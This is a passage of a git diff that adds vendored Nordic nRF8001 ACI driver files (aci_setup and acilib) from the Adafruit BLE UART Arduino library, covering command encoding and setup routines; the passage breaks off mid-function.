OFFSET_ACI_EVT_PARAMS_PIPE_STATUS_T_PIPES_CLOSED_BITMAP 8 + #define OFFSET_ACI_EVT_PARAMS_TIMING_T_CONN_RF_INTERVAL_LSB 0 + #define OFFSET_ACI_EVT_PARAMS_TIMING_T_CONN_RF_INTERVAL_MSB 1 + #define OFFSET_ACI_EVT_PARAMS_TIMING_T_CONN_SLAVE_RF_LATENCY_LSB 2 + #define OFFSET_ACI_EVT_PARAMS_TIMING_T_CONN_SLAVE_RF_LATENCY_MSB 3 + #define OFFSET_ACI_EVT_PARAMS_TIMING_T_CONN_RF_TIMEOUT_LSB 4 + #define OFFSET_ACI_EVT_PARAMS_TIMING_T_CONN_RF_TIMEOUT_MSB 5 + #define OFFSET_ACI_EVT_PARAMS_DATA_CREDIT_T_CREDIT 0 + #define OFFSET_ACI_EVT_PARAMS_DATA_ACK_T_PIPE_NUMBER 0 + #define OFFSET_ACI_EVT_PARAMS_DATA_RECEIVED_T_RX_DATA 0 + #define OFFSET_ERROR_DATA_T_CONTENT 0 + #define OFFSET_ACI_EVT_PARAMS_PIPE_ERROR_T_PIPE_NUMBER 0 + #define OFFSET_ACI_EVT_PARAMS_PIPE_ERROR_T_ERROR_CODE 1 + #define OFFSET_ACI_EVT_PARAMS_PIPE_ERROR_T_ERROR_DATA 2 + #define OFFSET_ACI_EVT_PARAMS_DISPLAY_PASSKEY_T_PASSKEY 0 + #define OFFSET_ACI_EVT_PARAMS_KEY_REQUEST_T_KEY_TYPE 0 + #define OFFSET_ACI_EVT_T_LEN 0 + #define OFFSET_ACI_EVT_T_EVT_OPCODE 1 + #define OFFSET_ACI_EVT_T_DEVICE_STARTED 2 + #define OFFSET_ACI_EVT_T_HW_ERROR 2 + #define OFFSET_ACI_EVT_T_CMD_RSP 2 + #define OFFSET_ACI_EVT_T_CONNECTED 2 + #define OFFSET_ACI_EVT_T_DISCONNECTED 2 + #define OFFSET_ACI_EVT_T_BOND_STATUS 2 + #define OFFSET_ACI_EVT_T_PIPE_STATUS 2 + #define OFFSET_ACI_EVT_T_TIMING 2 + #define OFFSET_ACI_EVT_T_DATA_CREDIT 2 + #define OFFSET_ACI_EVT_T_DATA_ACK 2 + #define OFFSET_ACI_EVT_T_DATA_RECEIVED 2 + #define OFFSET_ACI_EVT_T_PIPE_ERROR 2 + #define OFFSET_ACI_EVT_T_DISPLAY_PASSKEY 2 + #define OFFSET_ACI_EVT_T_KEY_REQUEST 2 + +#endif //ACI_OFFSET_H__ + diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/aci_setup.cpp b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/aci_setup.cpp new file mode 100755 index 0000000..bbed499 --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/aci_setup.cpp @@ -0,0 +1,131 @@ +/* Copyright (c) 2009 Nordic Semiconductor. All Rights Reserved. + * + * The information contained herein is property of Nordic Semiconductor ASA. + * Terms and conditions of usage are described in detail in NORDIC + * SEMICONDUCTOR STANDARD SOFTWARE LICENSE AGREEMENT. + * + * Licensees are granted free, non-transferable use of the information. NO + * WARRANTY of ANY KIND is provided. This heading must NOT be removed from + * the file. + * + * $LastChangedRevision$ + */ + +/** + * My project template + */ + +#include +#include +#include +#include "aci_setup.h" + + +// aci_struct that will contain +// total initial credits +// current credit +// current state of the aci (setup/standby/active/sleep) +// open remote pipe pending +// close remote pipe pending +// Current pipe available bitmap +// Current pipe closed bitmap +// Current connection interval, slave latency and link supervision timeout +// Current State of the the GATT client (Service Discovery status) + +static hal_aci_evt_t aci_data; +static hal_aci_data_t aci_cmd; + +aci_status_code_t aci_setup(aci_state_t *aci_stat, uint8_t num_cmds, uint8_t num_cmd_offset) +{ + uint8_t i = 0; + uint8_t evt_count = 0; + aci_evt_t * aci_evt = NULL; + + while (i < num_cmds) + { + //Copy the setup ACI message from Flash to RAM + //Add 2 bytes to the length byte for status byte, length for the total number of bytes + memcpy_P(&aci_cmd, &(aci_stat->aci_setup_info.setup_msgs[num_cmd_offset+i]), + pgm_read_byte_near(&(aci_stat->aci_setup_info.setup_msgs[num_cmd_offset+i].buffer[0]))+2); + + //Put the Setup ACI message in the command queue + if (!hal_aci_tl_send(&aci_cmd)) + { + Serial.println(F("Cmd Queue Full")); + return ACI_STATUS_ERROR_INTERNAL; + } + else + { + //Debug messages: + //Serial.print(F("Setup msg")); + //Serial.println(i, DEC); + } + + i++; + } + while (1) + { + //We will sit here if we do not get the same number of command response evts as the commands sent to the ACI + // + //@check The setup wil fail in the while(1) below when the 32KHz source for the nRF8001 is in-correct in the setup generated in the nRFgo studio + if (true == lib_aci_event_get(aci_stat, &aci_data)) + { + aci_evt = &aci_data.evt; + + evt_count++; + + if (ACI_EVT_CMD_RSP != aci_evt->evt_opcode ) + { + //Got something other than a command response evt -> Error + return ACI_STATUS_ERROR_INTERNAL; + } + + if (!((ACI_STATUS_TRANSACTION_CONTINUE == aci_evt->params.cmd_rsp.cmd_status) || + (ACI_STATUS_TRANSACTION_COMPLETE == aci_evt->params.cmd_rsp.cmd_status))) + { + return (aci_status_code_t )aci_evt->params.cmd_rsp.cmd_status; + } + else + { + //Serial.print(F("Cmd Response Evt ")); + //Serial.println(evt_count); + } + + if (num_cmds == evt_count) + { + break; + } + } + } + + return ((aci_status_code_t)aci_evt->params.cmd_rsp.cmd_status); +} + + +aci_status_code_t do_aci_setup(aci_state_t *aci_stat) +{ + aci_status_code_t status = ACI_STATUS_ERROR_CRC_MISMATCH; + uint8_t i=0; + + if(ACI_QUEUE_SIZE >= aci_stat->aci_setup_info.num_setup_msgs) + { + status = aci_setup(aci_stat, aci_stat->aci_setup_info.num_setup_msgs, 0); + } + else + { + for(i=0; i<(aci_stat->aci_setup_info.num_setup_msgs/ACI_QUEUE_SIZE); i++) + { + //Serial.print(ACI_QUEUE_SIZE, DEC); + //Serial.print(F(" ")); + //Serial.println(0+(ACI_QUEUE_SIZE*i), DEC); + status = aci_setup(aci_stat, ACI_QUEUE_SIZE, (ACI_QUEUE_SIZE*i)); + } + if ((aci_stat->aci_setup_info.num_setup_msgs % ACI_QUEUE_SIZE) != 0) + { + status = aci_setup(aci_stat, aci_stat->aci_setup_info.num_setup_msgs % ACI_QUEUE_SIZE, (ACI_QUEUE_SIZE*i)); + } + } + + return status; +} + diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/aci_setup.h b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/aci_setup.h new file mode 100755 index 0000000..8c9aaa5 --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/aci_setup.h @@ -0,0 +1,12 @@ +#ifndef H_ACI_SETUP +#define H_ACI_SETUP + +#define ACI_CMD_Q_SIZE 16 + +/** +Do the ACI setup by sending the setup messages generated by the nRFgo studio to the nRF8001. +After all the setup messages are sent. The nRF8001 will send a Device Started Event (Mode = STANDBY) +*/ +aci_status_code_t do_aci_setup(aci_state_t *aci_stat); + +#endif diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/acilib.cpp b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/acilib.cpp new file mode 100755 index 0000000..3e702c2 --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/acilib.cpp @@ -0,0 +1,602 @@ +/* Copyright (c) 2010 Nordic Semiconductor. All Rights Reserved. + * + * The information contained herein is property of Nordic Semiconductor ASA. + * Terms and conditions of usage are described in detail in NORDIC + * SEMICONDUCTOR STANDARD SOFTWARE LICENSE AGREEMENT. + * + * Licensees are granted free, non-transferable use of the information. NO + * WARRANTY of ANY KIND is provided. This heading must NOT be removed from + * the file. + * + * $LastChangedRevision$ + */ + +/** + * @file + * + * @ingroup group_acilib + * + * @brief Implementation of the acilib module. + */ + + +#include "hal_platform.h" +#include "aci.h" +#include "aci_cmds.h" +#include "aci_evts.h" +#include "acilib.h" +#include "aci_protocol_defines.h" +#include "acilib_defs.h" +#include "acilib_if.h" +#include "acilib_types.h" + + +void acil_encode_cmd_set_test_mode(uint8_t *buffer, aci_cmd_params_test_t *p_aci_cmd_params_test) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = 2; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_TEST; + *(buffer + OFFSET_ACI_CMD_T_TEST + OFFSET_ACI_CMD_PARAMS_TEST_T_TEST_MODE_CHANGE) = p_aci_cmd_params_test->test_mode_change; +} + +void acil_encode_cmd_sleep(uint8_t *buffer) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = 1; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_SLEEP; +} + +void acil_encode_cmd_get_device_version(uint8_t *buffer) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = 1; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_GET_DEVICE_VERSION; +} + +void acil_encode_cmd_set_local_data(uint8_t *buffer, aci_cmd_params_set_local_data_t *p_aci_cmd_params_set_local_data, uint8_t data_size) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_SET_LOCAL_DATA_BASE_LEN + data_size; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_SET_LOCAL_DATA; + *(buffer + OFFSET_ACI_CMD_T_SET_LOCAL_DATA + OFFSET_ACI_CMD_PARAMS_SEND_DATA_T_TX_DATA + OFFSET_ACI_TX_DATA_T_PIPE_NUMBER) = p_aci_cmd_params_set_local_data->tx_data.pipe_number; + memcpy(buffer + OFFSET_ACI_CMD_T_SET_LOCAL_DATA + OFFSET_ACI_CMD_PARAMS_SEND_DATA_T_TX_DATA + OFFSET_ACI_TX_DATA_T_ACI_DATA, &(p_aci_cmd_params_set_local_data->tx_data.aci_data[0]), data_size); +} + +void acil_encode_cmd_connect(uint8_t *buffer, aci_cmd_params_connect_t *p_aci_cmd_params_connect) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_CONNECT_LEN; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_CONNECT; + *(buffer + OFFSET_ACI_CMD_T_CONNECT + OFFSET_ACI_CMD_PARAMS_CONNECT_T_TIMEOUT_MSB) = (uint8_t)(p_aci_cmd_params_connect->timeout >> 8); + *(buffer + OFFSET_ACI_CMD_T_CONNECT + OFFSET_ACI_CMD_PARAMS_CONNECT_T_TIMEOUT_LSB) = (uint8_t)(p_aci_cmd_params_connect->timeout); + *(buffer + OFFSET_ACI_CMD_T_CONNECT + OFFSET_ACI_CMD_PARAMS_CONNECT_T_ADV_INTERVAL_MSB) = (uint8_t)(p_aci_cmd_params_connect->adv_interval >> 8); + *(buffer + OFFSET_ACI_CMD_T_CONNECT + OFFSET_ACI_CMD_PARAMS_CONNECT_T_ADV_INTERVAL_LSB) = (uint8_t)(p_aci_cmd_params_connect->adv_interval); +} + +void acil_encode_cmd_bond(uint8_t *buffer, aci_cmd_params_bond_t *p_aci_cmd_params_bond) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_BOND_LEN; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_BOND; + *(buffer + OFFSET_ACI_CMD_T_BOND + OFFSET_ACI_CMD_PARAMS_BOND_T_TIMEOUT_MSB) = (uint8_t)(p_aci_cmd_params_bond->timeout >> 8); + *(buffer + OFFSET_ACI_CMD_T_BOND + OFFSET_ACI_CMD_PARAMS_BOND_T_TIMEOUT_LSB) = (uint8_t)(p_aci_cmd_params_bond->timeout); + *(buffer + OFFSET_ACI_CMD_T_BOND + OFFSET_ACI_CMD_PARAMS_BOND_T_ADV_INTERVAL_MSB) = (uint8_t)(p_aci_cmd_params_bond->adv_interval >> 8); + *(buffer + OFFSET_ACI_CMD_T_BOND + OFFSET_ACI_CMD_PARAMS_BOND_T_ADV_INTERVAL_LSB) = (uint8_t)(p_aci_cmd_params_bond->adv_interval); +} + +void acil_encode_cmd_disconnect(uint8_t *buffer, aci_cmd_params_disconnect_t *p_aci_cmd_params_disconnect) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_DISCONNECT_LEN; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_DISCONNECT; + *(buffer + OFFSET_ACI_CMD_T_DISCONNECT + OFFSET_ACI_CMD_PARAMS_DISCONNECT_T_REASON) = (uint8_t)(p_aci_cmd_params_disconnect->reason); +} + +void acil_encode_baseband_reset(uint8_t *buffer) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_BASEBAND_RESET_LEN; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_RADIO_RESET; +} + +void acil_encode_direct_connect(uint8_t *buffer) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_DIRECT_CONNECT_LEN; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_CONNECT_DIRECT; +} + +void acil_encode_cmd_wakeup(uint8_t *buffer) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_WAKEUP_LEN; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_WAKEUP; +} + +void acil_encode_cmd_set_radio_tx_power(uint8_t *buffer, aci_cmd_params_set_tx_power_t *p_aci_cmd_params_set_tx_power) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_SET_RADIO_TX_POWER_LEN; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_SET_TX_POWER; + *(buffer + OFFSET_ACI_CMD_T_SET_TX_POWER + OFFSET_ACI_CMD_PARAMS_SET_TX_POWER_T_DEVICE_POWER) = (uint8_t)p_aci_cmd_params_set_tx_power->device_power; +} + +void acil_encode_cmd_get_address(uint8_t *buffer) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_GET_DEVICE_ADDR_LEN; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_GET_DEVICE_ADDRESS; +} + +void acil_encode_cmd_send_data(uint8_t *buffer, aci_cmd_params_send_data_t *p_aci_cmd_params_send_data_t, uint8_t data_size) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_SEND_DATA_BASE_LEN + data_size; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_SEND_DATA; + *(buffer + OFFSET_ACI_CMD_T_SEND_DATA + OFFSET_ACI_CMD_PARAMS_SEND_DATA_T_TX_DATA + OFFSET_ACI_TX_DATA_T_PIPE_NUMBER) = p_aci_cmd_params_send_data_t->tx_data.pipe_number; + memcpy((buffer + OFFSET_ACI_CMD_T_SEND_DATA + OFFSET_ACI_CMD_PARAMS_SEND_DATA_T_TX_DATA + OFFSET_ACI_TX_DATA_T_ACI_DATA), &(p_aci_cmd_params_send_data_t->tx_data.aci_data[0]), data_size); +} + +void acil_encode_cmd_request_data(uint8_t *buffer, aci_cmd_params_request_data_t *p_aci_cmd_params_request_data) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_DATA_REQUEST_LEN; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_REQUEST_DATA; + *(buffer + OFFSET_ACI_CMD_T_REQUEST_DATA + OFFSET_ACI_CMD_PARAMS_REQUEST_DATA_T_PIPE_NUMBER) = p_aci_cmd_params_request_data->pipe_number; +} + +void acil_encode_cmd_open_remote_pipe(uint8_t *buffer, aci_cmd_params_open_remote_pipe_t *p_aci_cmd_params_open_remote_pipe) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_OPEN_REMOTE_PIPE_LEN; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_OPEN_REMOTE_PIPE; + *(buffer + OFFSET_ACI_CMD_T_OPEN_REMOTE_PIPE + OFFSET_ACI_CMD_PARAMS_OPEN_REMOTE_PIPE_T_PIPE_NUMBER) = p_aci_cmd_params_open_remote_pipe->pipe_number; +} + +void acil_encode_cmd_close_remote_pipe(uint8_t *buffer, aci_cmd_params_close_remote_pipe_t *p_aci_cmd_params_close_remote_pipe) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_CLOSE_REMOTE_PIPE_LEN; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_CLOSE_REMOTE_PIPE; + *(buffer + OFFSET_ACI_CMD_T_CLOSE_REMOTE_PIPE + OFFSET_ACI_CMD_PARAMS_CLOSE_REMOTE_PIPE_T_PIPE_NUMBER) = p_aci_cmd_params_close_remote_pipe->pipe_number; +} + +void acil_encode_cmd_echo_msg(uint8_t *buffer, aci_cmd_params_echo_t *p_cmd_params_echo, uint8_t msg_size) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_ECHO_MSG_CMD_BASE_LEN + msg_size; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_ECHO; + memcpy((buffer + OFFSET_ACI_CMD_T_ECHO + OFFSET_ACI_CMD_PARAMS_ECHO_T_ECHO_DATA), &(p_cmd_params_echo->echo_data[0]), msg_size); +} + +void acil_encode_cmd_battery_level(uint8_t *buffer) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = 1; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_GET_BATTERY_LEVEL; +} + +void acil_encode_cmd_temparature(uint8_t *buffer) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = 1; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_GET_TEMPERATURE; +} + +void acil_encode_cmd_read_dynamic_data(uint8_t *buffer) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = 1; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_READ_DYNAMIC_DATA; +} + +void acil_encode_cmd_write_dynamic_data(uint8_t *buffer, uint8_t seq_no, uint8_t* dynamic_data, uint8_t dynamic_data_size) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_WRITE_DYNAMIC_DATA_BASE_LEN + dynamic_data_size; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_WRITE_DYNAMIC_DATA; + *(buffer + OFFSET_ACI_CMD_T_WRITE_DYNAMIC_DATA + OFFSET_ACI_CMD_PARAMS_WRITE_DYNAMIC_DATA_T_SEQ_NO) = seq_no; + memcpy((buffer + OFFSET_ACI_CMD_T_WRITE_DYNAMIC_DATA + OFFSET_ACI_CMD_PARAMS_WRITE_DYNAMIC_DATA_T_DYNAMIC_DATA), dynamic_data, dynamic_data_size); +} + +void acil_encode_cmd_change_timing_req(uint8_t *buffer, aci_cmd_params_change_timing_t *p_aci_cmd_params_change_timing) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_CHANGE_TIMING_LEN; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_CHANGE_TIMING; + *(buffer + OFFSET_ACI_CMD_T_CHANGE_TIMING + OFFSET_ACI_CMD_PARAMS_CHANGE_TIMING_T_CONN_PARAMS + OFFSET_ACI_LL_CONN_PARAMS_T_MIN_CONN_INTERVAL_MSB) = (uint8_t)(p_aci_cmd_params_change_timing->conn_params.min_conn_interval >> 8); + *(buffer + OFFSET_ACI_CMD_T_CHANGE_TIMING + OFFSET_ACI_CMD_PARAMS_CHANGE_TIMING_T_CONN_PARAMS + OFFSET_ACI_LL_CONN_PARAMS_T_MIN_CONN_INTERVAL_LSB) = (uint8_t)(p_aci_cmd_params_change_timing->conn_params.min_conn_interval); + *(buffer + OFFSET_ACI_CMD_T_CHANGE_TIMING + OFFSET_ACI_CMD_PARAMS_CHANGE_TIMING_T_CONN_PARAMS + OFFSET_ACI_LL_CONN_PARAMS_T_MAX_CONN_INTERVAL_MSB) = (uint8_t)(p_aci_cmd_params_change_timing->conn_params.max_conn_interval >> 8); + *(buffer + OFFSET_ACI_CMD_T_CHANGE_TIMING + OFFSET_ACI_CMD_PARAMS_CHANGE_TIMING_T_CONN_PARAMS + OFFSET_ACI_LL_CONN_PARAMS_T_MAX_CONN_INTERVAL_LSB) = (uint8_t)(p_aci_cmd_params_change_timing->conn_params.max_conn_interval); + *(buffer + OFFSET_ACI_CMD_T_CHANGE_TIMING + OFFSET_ACI_CMD_PARAMS_CHANGE_TIMING_T_CONN_PARAMS + OFFSET_ACI_LL_CONN_PARAMS_T_SLAVE_LATENCY_MSB ) = (uint8_t)(p_aci_cmd_params_change_timing->conn_params.slave_latency >> 8); + *(buffer + OFFSET_ACI_CMD_T_CHANGE_TIMING + OFFSET_ACI_CMD_PARAMS_CHANGE_TIMING_T_CONN_PARAMS + OFFSET_ACI_LL_CONN_PARAMS_T_SLAVE_LATENCY_LSB ) = (uint8_t)(p_aci_cmd_params_change_timing->conn_params.slave_latency); + *(buffer + OFFSET_ACI_CMD_T_CHANGE_TIMING + OFFSET_ACI_CMD_PARAMS_CHANGE_TIMING_T_CONN_PARAMS + OFFSET_ACI_LL_CONN_PARAMS_T_TIMEOUT_MULT_MSB ) = (uint8_t)(p_aci_cmd_params_change_timing->conn_params.timeout_mult >> 8); + *(buffer + OFFSET_ACI_CMD_T_CHANGE_TIMING + OFFSET_ACI_CMD_PARAMS_CHANGE_TIMING_T_CONN_PARAMS + OFFSET_ACI_LL_CONN_PARAMS_T_TIMEOUT_MULT_LSB ) = (uint8_t)(p_aci_cmd_params_change_timing->conn_params.timeout_mult); +} + +void acil_encode_cmd_set_app_latency(uint8_t *buffer, aci_cmd_params_set_app_latency_t *p_aci_cmd_params_set_app_latency) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_SET_APP_LATENCY_LEN; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_SET_APP_LATENCY; + *(buffer + OFFSET_ACI_CMD_T_SET_APP_LATENCY + OFFSET_ACI_CMD_PARAMS_SET_APP_LATENCY_T_MODE) = (uint8_t)( p_aci_cmd_params_set_app_latency->mode); + *(buffer + OFFSET_ACI_CMD_T_SET_APP_LATENCY + OFFSET_ACI_CMD_PARAMS_SET_APP_LATENCY_T_LATENCY_MSB) = (uint8_t)( p_aci_cmd_params_set_app_latency->latency>>8); + *(buffer + OFFSET_ACI_CMD_T_SET_APP_LATENCY + OFFSET_ACI_CMD_PARAMS_SET_APP_LATENCY_T_LATENCY_LSB) = (uint8_t)( p_aci_cmd_params_set_app_latency->latency); +} + +void acil_encode_cmd_change_timing_req_GAP_PPCP(uint8_t *buffer) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_CHANGE_TIMING_LEN_GAP_PPCP; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_CHANGE_TIMING; +} + + +void acil_encode_cmd_setup(uint8_t *buffer, aci_cmd_params_setup_t *p_aci_cmd_params_setup, uint8_t setup_data_size) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = setup_data_size + MSG_SETUP_CMD_BASE_LEN; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_SETUP; + memcpy((buffer + OFFSET_ACI_CMD_T_SETUP), &(p_aci_cmd_params_setup->setup_data[0]), setup_data_size); +} + +void acil_encode_cmd_dtm_cmd(uint8_t *buffer, aci_cmd_params_dtm_cmd_t *p_aci_cmd_params_dtm_cmd) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_DTM_CMD; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_DTM_CMD; + *(buffer + OFFSET_ACI_CMD_T_DTM_CMD) = p_aci_cmd_params_dtm_cmd->cmd_msb; + *(buffer + OFFSET_ACI_CMD_T_DTM_CMD + 1) = p_aci_cmd_params_dtm_cmd->cmd_lsb; +} + +void acil_encode_cmd_send_data_ack(uint8_t *buffer, const uint8_t pipe_number ) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_ACK_LEN; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_SEND_DATA_ACK; + *(buffer + OFFSET_ACI_CMD_T_SEND_DATA_ACK + OFFSET_ACI_CMD_PARAMS_SEND_DATA_ACK_T_PIPE_NUMBER) = pipe_number; +} + +void acil_encode_cmd_send_data_nack(uint8_t *buffer, const uint8_t pipe_number, const uint8_t err_code ) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_NACK_LEN; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_SEND_DATA_NACK; + *(buffer + OFFSET_ACI_CMD_T_SEND_DATA_NACK + OFFSET_ACI_CMD_PARAMS_SEND_DATA_NACK_T_PIPE_NUMBER) = pipe_number; + *(buffer + OFFSET_ACI_CMD_T_SEND_DATA_NACK + OFFSET_ACI_CMD_PARAMS_SEND_DATA_NACK_T_ERROR_CODE) = err_code; +} + +void acil_encode_cmd_bond_security_request(uint8_t *buffer) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = 1; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_BOND_SECURITY_REQUEST; +} + +void acil_encode_cmd_broadcast(uint8_t *buffer, aci_cmd_params_broadcast_t * p_aci_cmd_params_broadcast) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_BROADCAST_LEN; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_BROADCAST; + *(buffer + OFFSET_ACI_CMD_T_BROADCAST + OFFSET_ACI_CMD_PARAMS_BROADCAST_T_TIMEOUT_LSB) = (p_aci_cmd_params_broadcast->timeout & 0xff); + *(buffer + OFFSET_ACI_CMD_T_BROADCAST + OFFSET_ACI_CMD_PARAMS_BROADCAST_T_TIMEOUT_MSB) = (uint8_t)(p_aci_cmd_params_broadcast->timeout >> 8); + *(buffer + OFFSET_ACI_CMD_T_BROADCAST + OFFSET_ACI_CMD_PARAMS_BROADCAST_T_ADV_INTERVAL_LSB) = (p_aci_cmd_params_broadcast->adv_interval & 0xff); + *(buffer + OFFSET_ACI_CMD_T_BROADCAST + OFFSET_ACI_CMD_PARAMS_BROADCAST_T_ADV_INTERVAL_MSB) = (uint8_t)(p_aci_cmd_params_broadcast->adv_interval >> 8); +} + +void acil_encode_cmd_open_adv_pipes(uint8_t *buffer, aci_cmd_params_open_adv_pipe_t * p_aci_cmd_params_open_adv_pipe) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_OPEN_ADV_PIPES_LEN; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_OPEN_ADV_PIPE; + memcpy(buffer + OFFSET_ACI_CMD_T_OPEN_ADV_PIPE + OFFSET_ACI_CMD_PARAMS_OPEN_ADV_PIPE_T_PIPES, p_aci_cmd_params_open_adv_pipe->pipes, 8); +} + + +void acil_encode_cmd_set_key(uint8_t *buffer, aci_cmd_params_set_key_t *p_aci_cmd_params_set_key) +{ + /* + The length of the key is computed based on the type of key transaction. + - Key Reject + - Key type is passkey + */ + uint8_t len; + + switch (p_aci_cmd_params_set_key->key_type) + { + case ACI_KEY_TYPE_INVALID: + len = MSG_SET_KEY_REJECT_LEN; + break; + case ACI_KEY_TYPE_PASSKEY: + len = MSG_SET_KEY_PASSKEY_LEN; + break; + default: + len=0; + break; + } + *(buffer + OFFSET_ACI_CMD_T_LEN) = len; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_SET_KEY; + *(buffer + OFFSET_ACI_CMD_T_SET_KEY + OFFSET_ACI_CMD_PARAMS_SET_KEY_T_KEY_TYPE) = p_aci_cmd_params_set_key->key_type; + memcpy((buffer + OFFSET_ACI_CMD_T_SET_KEY + OFFSET_ACI_CMD_PARAMS_SET_KEY_T_PASSKEY), (uint8_t * )&(p_aci_cmd_params_set_key->key), len-2);//Reducing 2 for the opcode byte and type +} + +bool acil_encode_cmd(uint8_t *buffer, aci_cmd_t *p_aci_cmd) +{ + bool ret_val = false; + + switch(p_aci_cmd->cmd_opcode) + { + case ACI_CMD_TEST: + acil_encode_cmd_set_test_mode(buffer, &(p_aci_cmd->params.test)); + break; + case ACI_CMD_SLEEP: + acil_encode_cmd_sleep(buffer); + break; + case ACI_CMD_GET_DEVICE_VERSION: + acil_encode_cmd_get_device_version(buffer); + break; + case ACI_CMD_WAKEUP: + acil_encode_cmd_wakeup(buffer); + break; + case ACI_CMD_ECHO: + acil_encode_cmd_echo_msg(buffer, &(p_aci_cmd->params.echo), (p_aci_cmd->len - MSG_ECHO_MSG_CMD_BASE_LEN)); + break; + case ACI_CMD_GET_BATTERY_LEVEL: + acil_encode_cmd_battery_level(buffer); + break; + case ACI_CMD_GET_TEMPERATURE: + acil_encode_cmd_temparature(buffer); + break; + case ACI_CMD_GET_DEVICE_ADDRESS: + acil_encode_cmd_get_address(buffer); + break; + case ACI_CMD_SET_TX_POWER: + acil_encode_cmd_set_radio_tx_power(buffer, &(p_aci_cmd->params.set_tx_power)); + break; + case ACI_CMD_CONNECT: + acil_encode_cmd_connect(buffer, &(p_aci_cmd->params.connect)); + break; + case ACI_CMD_BOND: + acil_encode_cmd_bond(buffer, &(p_aci_cmd->params.bond)); + break; + case ACI_CMD_DISCONNECT: + acil_encode_cmd_disconnect(buffer, &(p_aci_cmd->params.disconnect)); + break; + case ACI_CMD_RADIO_RESET: + acil_encode_baseband_reset(buffer); + break; + case ACI_CMD_CHANGE_TIMING: + acil_encode_cmd_change_timing_req(buffer, &(p_aci_cmd->params.change_timing)); + break; + case ACI_CMD_SETUP: + 